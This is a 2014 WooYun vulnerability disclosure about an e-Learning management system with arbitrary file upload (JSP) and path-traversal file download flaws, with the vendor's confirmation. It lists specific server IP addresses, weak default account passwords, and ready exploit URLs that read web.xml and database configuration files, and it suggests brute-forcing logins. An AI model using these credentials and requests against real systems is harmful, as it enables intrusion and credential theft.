当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-048190

漏洞标题：某通用型在线学习管理系统存在任意文件上传及任意文件下载漏洞

相关厂商：cncert国家互联网应急中心

漏洞作者： wefgod

提交时间：2014-01-07 17:50

修复时间：2014-04-07 17:51

公开时间：2014-04-07 17:51

漏洞类型：文件上传导致任意代码执行

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-01-07： 细节已通知厂商并且等待厂商处理中
2014-01-12： 厂商已经确认，细节仅向厂商公开
2014-01-15： 细节向第三方安全合作伙伴开放
2014-03-08： 细节向核心白帽子及相关领域专家公开
2014-03-18： 细节向普通白帽子公开
2014-03-28： 细节向实习白帽子公开
2014-04-07： 细节向公众公开

简要描述：

继续向大牛们学习了

详细说明：

先说个问题。此厂商在乌云已经有账号，但是之前对此套系统的漏洞视而不见，不打算进行修复，继续将漏洞提交给他们处理，可能会危害到客户的利益，在这我建议给cert通报以促进他们进行整改。（如果要给原厂商处理，那去掉我这段话……）
前大牛的漏洞：
WooYun: 用友某系统存在通用型远程代码执行
是用友的e-Learning
存在任意文件上传和任意文件下载。不过要一个普通账户登录才可利用，当然我们可以暴力破解……没有验证码

漏洞证明：

首先需要一个低权限账号登录（反正没有验证码，设定好简单密码，按数字直接丢去暴了都没有问题）
给出几个默认或简单密码的：
http://58.214.233.113:8800/lmsv5/
00041013/123456
00041014/123456
00041012/123456
http://60.216.4.162:9091/lmsv5/
107649/111111
107648/111111
107640/111111
文件上传
http://60.216.4.162:9091/lmsv5/uploadfile!LoginUploadFile.action?uploadFileType=jsp

image001.png


image002.png


看源码：

image003.png


image005.png


另外一个：
http://58.214.233.113:8800/lmsv5/uploadfile!LoginUploadFile.action?uploadFileType=jsp

image007.png


任意文件下载
官方配置中是这样写的：

<action name="downloadfile!*" class ="cn.com.iactive.learn.res.upOrdownFile.FileDownloadAction" method="{1}"> 
              <!--下载文件的目录，若不在这个目录下则拒绝下载以保障安全，这点在action类中实现  -->
           <param name="inputPath">/coursedir</param>
           <result name="success" type="stream">
              <param name="contentType">application/octet-stream</param>
              <param name="inputName">inputStream</param>
              <!--动态获取文件名-->
              <param name="contentDisposition">attachment;filename="${fileName}"</param>
              <param name="bufferSize">4096</param>
           </result>


看得眼泪流。
一看代码：

public InputStream getInputStream()
    throws Exception
  {
    int size = this.url.length() - 1;
    for (int i = 0; i < size; i++)
      this.url = this.url.replace("\\", "/");
    return ServletActionContext.getServletContext().getResourceAsStream(this.url);
  }


直接的用url参数那啥那啥……完全就没有过滤嘛
http://60.216.4.162:9091/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/web.xml&fileName=/1.xml
http://60.216.4.162:9091/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/classes/dataBase.properties&fileName=/dataBase.properties

image009.png


image010.png


image012.png


另外一个例子：
http://58.214.233.113:8800/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/web.xml&fileName=/1.xml
http://58.214.233.113:8800/lmsv5/downloadfile!FileDownload.action?url=/WEB-INF/classes/dataBase.properties&fileName=/dataBase.properties

修复方案：

文件上传：只能限制了啊
文件下载：也限制啊

版权声明：转载请注明来源 wefgod@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：19

确认时间：2014-01-12 11:35

厂商回复：

CNVD确认并在多个实例上复现所述情况，由CNVD已经向软件生产厂商——用友新道科技有限公司通报。

最新状态：

暂无